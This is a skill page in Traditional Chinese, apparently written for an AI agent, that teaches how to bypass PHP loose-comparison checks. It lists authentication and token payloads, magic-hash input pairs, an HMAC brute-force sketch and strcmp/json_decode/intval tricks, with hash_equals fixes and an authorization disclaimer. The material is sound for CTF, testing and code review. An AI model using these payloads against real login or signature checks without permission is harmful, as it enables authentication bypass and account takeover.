type-juggling

type-juggling

熱門

PHP 型態轉譯(Type Juggling)與弱型別比較(`==`)繞過技巧。適用於身份驗證、HMAC / 簽章檢查或 Token 驗證採用鬆散相等比較、數值強制轉換,或未指定嚴格型別的雜湊比較場景——常見於舊版 PHP 程式碼與 CTF 題目中。

1538星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
type-juggling
描述

PHP 型態轉譯(Type Juggling)與弱型別比較(`==`)繞過技巧。適用於身份驗證、HMAC / 簽章檢查或 Token 驗證採用鬆散相等比較、數值強制轉換,或未指定嚴格型別的雜湊比較場景——常見於舊版 PHP 程式碼與 CTF 題目中。

SKILL: PHP Type Juggling — 弱型別比較與 Magic Hash 繞過

AI 載入指令:包含 PHP == 型態強制轉換、Magic Hash(0e…)、HMAC / 雜湊鬆散檢查、異常型態回傳 NULL,以及 CTF 風格的 strcmp / json_decode / intval 技巧。使用嚴格路由:比對 Sink(== vs hash_equals)、PHP 主要版本,以及兩個運算子是否皆受攻擊者控制。路由說明:當遇到 PHP 登入 / 簽章邏輯或類似 md5($_GET['x'])==md5($_GET['y']) 的程式碼時,請優先採用此 Skill;若已使用 hash_equals / ===,則此路徑通常不適用。

0. 快速入門 (QUICK START)

首波測試目標:證明伺服器端分支會因為型態強制轉換而將不相等的機密/Token 判定為相等,而非去盲猜真實密碼。

首波測試 Payload(身份驗證 / Token 結構)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

最簡 PHP 探測腳本(本地或實驗室中的 php -r)

<?php
// 鬆散比較探測 — 儘可能在目標的 PHP 主要版本中執行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

路由提示 (Routing hints)

線索 下一步
原始碼使用 == 比較密碼、Token 或 HMAC 值 請參閱第 1-3 節
md5($a) == md5($b) 或鬆散 sha1 比較 第 2 節 Magic Hash
hash_hmac(...) != '0' 或與 "0" 比較 第 3 節
strcmp、json_decode(..., true)、intval 第 5 節

1. 鬆散比較 (==) — 真值表與版本差異

除非對機密資料使用 === 或 hash_equals(),否則 PHP 會在比較運算子兩端進行型態轉譯(Type Juggling)。

1.1 核心範例(字串 vs 數字)

運算式 結果 機制說明 (簡述)
'0010e2' == '1e3' true 兩個字串看起來都像數字 → 被當作浮點數比較;兩者皆解析為 1000.0(非 0 — 常見考試陷阱;真正的「兩者皆為 0」請見下一列)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' true 兩者在科學記號下皆解析為 0.0
'123a' == 123 true 字串轉整數時遇到第一個非數字字元即停止 → 解析為 123
'abc' == 0 true (PHP 7.x 及更早版本) 非數值字串與整數比較 → 字串轉換為 0
'' == 0 true 空字串 → 0
'' == false true 兩者在鬆散規則下皆為「falsy(假值)」
false == NULL true 鬆散相等
0 == false true 鬆散相等
'' == 0 == false == NULL true (鏈式) 在 == 下每個相鄰對皆為 true(''==0, 0==false, false==NULL)— 經典的「假值」鏈
'0' == false true 字串 '0' 是唯一在布林比較中被判定為 false 的非空字串
'php' == 0 false (PHP 8+) PHP 8:非數值字串不再等於 0

1.2 PHP 5 vs 7 vs 8 (高信號差異)

主題 PHP 5.x / 7.x (典型行為) PHP 8.0+
0 == "foo" true (字串轉為 0) false
"123a" 的字串轉數字 在許多 == 路徑中進行 (int) / 數值比較時仍會截斷 數值字串邏輯相同;非數值字串 vs 整數已修復如上所述
md5([]) / sha1([]) 在較舊模式下可能跳出警告 / 表現出類似 NULL 的行為 傳入錯誤型態會拋出 TypeError — 除非例外處理被收攏為 NULL,否則會使經典的 [] 繞過失效

測試者要點:務必從 HTTP 表頭(Header)、X-Powered-By 或指紋特徵中確認 PHP 版本;在 PHP 7 可執行的 Payload 可能在 PHP 8 上失敗。

1.3 安全替代方案(防禦 / 驗證)

hash_equals((string)$expected, (string)$actual);  // 時間安全 (timing-safe)、嚴格字串比較
// 或
$expected === $actual;

2. MAGIC HASHES (0e… + 純數字)

當兩端皆為符合 ^0e[0-9]+$ 的 Hex 外觀雜湊字串 時,PHP 會將它們視為科學記號表示的浮點數 → 數值為 0.0。此時即使雜湊值在字串層面不同,md5(A) == md5(B) 仍會回傳 true。

2.1 參考對照表(MD5 / SHA-1 及更長演算法)

演算法 輸入範例 雜湊值(以 0e 開頭 + 全十進位數字)
MD5 240610708 0e462097431906509019562988736854
MD5 QNKCDZO 0e830400451993494058024219903391
SHA-1 10932435112 0e07766915004133176347055865026311692244
SHA-224 (爆破 / 預計算) 範例形式:0e + 純十進位數字 → 與另一個同類字串透過 == 比較結果為 true
SHA-256 (爆破 / 預計算) 同樣模式:只有符合 ^0e\d+$ 的字串會在 == 下發生碰撞

運作原理:md5('240610708') == md5('QNKCDZO') → 兩端皆符合 ^0e[0-9]+$ → 皆被解析為 0.0 == 0.0 → true。

2.2 程式碼中的漏洞模式

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // 原意:不同的字串,相同的 md5 (對 md5 而言不可能)
    // 實際:兩個不同的字串,其*雜湊值*剛好都是 Magic Hash
}

2.3 Payload 構想(雙值尋找)

?a=240610708&b=QNKCDZO

對於 SHA-224/256,請視為搜尋問題:持續爆破輸入值,直到產生的雜湊符合 ^0e\d+$;將兩個不同的輸入配對。雜湊越長越難爆破;上述 MD5/SHA1 範例為最常見的教材範例。


3. HMAC 繞過(鬆散比較 vs "0" 或 0)

若邏輯對常數使用了鬆散不相等比較:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// 或 == 0, == false,搭配字串 "0e..." 等

爆破 $data(例如時間戳記、Nonce、計數器),直到 hash_hmac 的輸出符合 ^0e[0-9]+$(針對 MD5 輸出)或符合程式碼特定的鬆散規則 — 屆時該雜湊在 == 下便可能被判定等於 0 或等於另一個 Magic 摘要。

範例(數值訊息的 MD5 風格 0e 摘要)

概念 範例
訊息類型 Unix 時間戳記、遞增 ID、毫秒時鐘
時間戳記爆破模式 教材有時會引用 1539805986 → 0e772967136366835494939987377058 作為 Magic Hash 風格 的範例;但在原生 PHP 中 md5('1539805986') 並不會產生該摘要 — 請理解其核心概念(掃描時間戳記 / 計數器直到輸出符合 ^0e[0-9]+$),且務必針對目標程式碼中的確切函式 + 金鑰進行驗證。
目標 找出 $data 使 hash_hmac('md5', $data, $key) 符合 ^0e[0-9]+$
注意事項 在不知道 $key 的情況下,若甲方的 Oracle 能顯現演算法 / 輸出,仍可爆破 $data;CTF 題目則經常洩漏或固定 Key
# 概念性程式碼:嘗試多個時間戳記
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

修復建議:使用 hash_equals($mac, $expected) + 固定長度的 Hex/二進位編碼;切勿將 HMAC 與裸字串 "0" 進行比較。


4. NULL 轉譯(陣列與型態錯誤)

無效的型態可能在被比較的其中一側產生 NULL;與另一個 NULL 或經強轉的值進行鬆散比較時可能會通過。

呼叫方式 典型 PHP 7/8 行為
md5([]) PHP 8:TypeError;較舊版本:發出 Warning /跨版本行為不可靠
sha1([]) 同上
核心思路 若錯誤處理常式或自訂封裝將失敗轉換為 NULL,且另一側亦為 NULL,則 NULL == NULL 或 NULL == sha1("x") 便會成立
// CTF / 有缺陷程式碼的心智模型:
@sha1($_GET['x']) == @sha1($_GET['y']);  // 若兩者皆因錯誤回傳 NULL → true

實際審查:尋找 @ 錯誤抑制符號、將雜湊設為 null 的自訂 try/catch,或在需要字串處傳入使用者輸入的情形。


5. CTF 常見模式

5.1 搭配陣列使用 strcmp / strcasecmp

strcmp([], "password");  // PHP 7/8 中回傳 NULL(無效參數)
// 若程式碼寫成如下形式,NULL == 0 在鬆散比較下結果為 true:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 intval 繞過

// 十六進位:進位基數為 0 時,PHP 會解析 0x 前綴(依版本而定;務必驗證)
intval("0x1A", 0);   // → 26

// 八進位:進位基數為 0 時,字串開頭的 0 會被解析為八進位
intval("010", 0);  // → 8 (經典教學範例;請在目標 PHP 上確認)

// 科學記號:單獨使用 intval() 會在 'e' 處停止;需先轉型為 float
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2

5.3 json_decode + true 搭配關聯陣列驗證

{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字串" 通常為 true — 請參閱 PHP 鬆散比較規則

5.4 is_numeric + 鬆散比較

is_numeric("0e12345");  // true
"0e12345" == 0;         // true (科學記號 → 0.0)

5.5 反序列化 + 魔術屬性 (Magic properties)

將使用者輸入反序列化(Unserialize)為物件,其 __toString 或屬性會傳入 md5($obj) 或進行鬆散比較 — 可結合屬性上的 Magic Hash 字串(CTF 常用)。在雜湊 == 比較附近尋找 unserialize($_…)。


6. 決策樹

                         +------------------+
                         | PHP 鬆散比較     |
                         | 或 hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | 使用 === 或 |             | 使用 == 或  |
             | hash_equals |             | strcmp == 0 |
             +------+------+             +------+------+
                    |                           |
               停止 (通常不適用)         +-----v-----+
                                          | 運算子    |
                                          | 型態?     |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | 兩者皆為    | | 一個 int  |    | 雜湊摘要       |
                    | 數值字串0e… | | 一個字串  |    | 兩者皆 0e\d+ ? |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH     字串 / INT          MAGIC HASH
                      碰撞           型態轉譯            (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           爆破 $data
                           以求得 0e… 摘要
                                  |
                           +------v------+
                           | 陣列 /      |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

工具參考

工具 用途
本地 php CLI 重現目標主要版本的 == 行為
靜態程式碼審查 (Static code review) 在密碼學輸出上 Grep 搜尋 ==、!=;找出缺少的 hash_equals
CTF 框架 用於 Magic Hash 與 0e 搜尋的 Payload 產生器

安全性與範圍說明:本 Skill 僅可用於獲得授權的目標(CTF、實驗室、書面授權)。本內容旨在解釋用於防禦與評估的語言語意,非無授權攻擊系統的許可。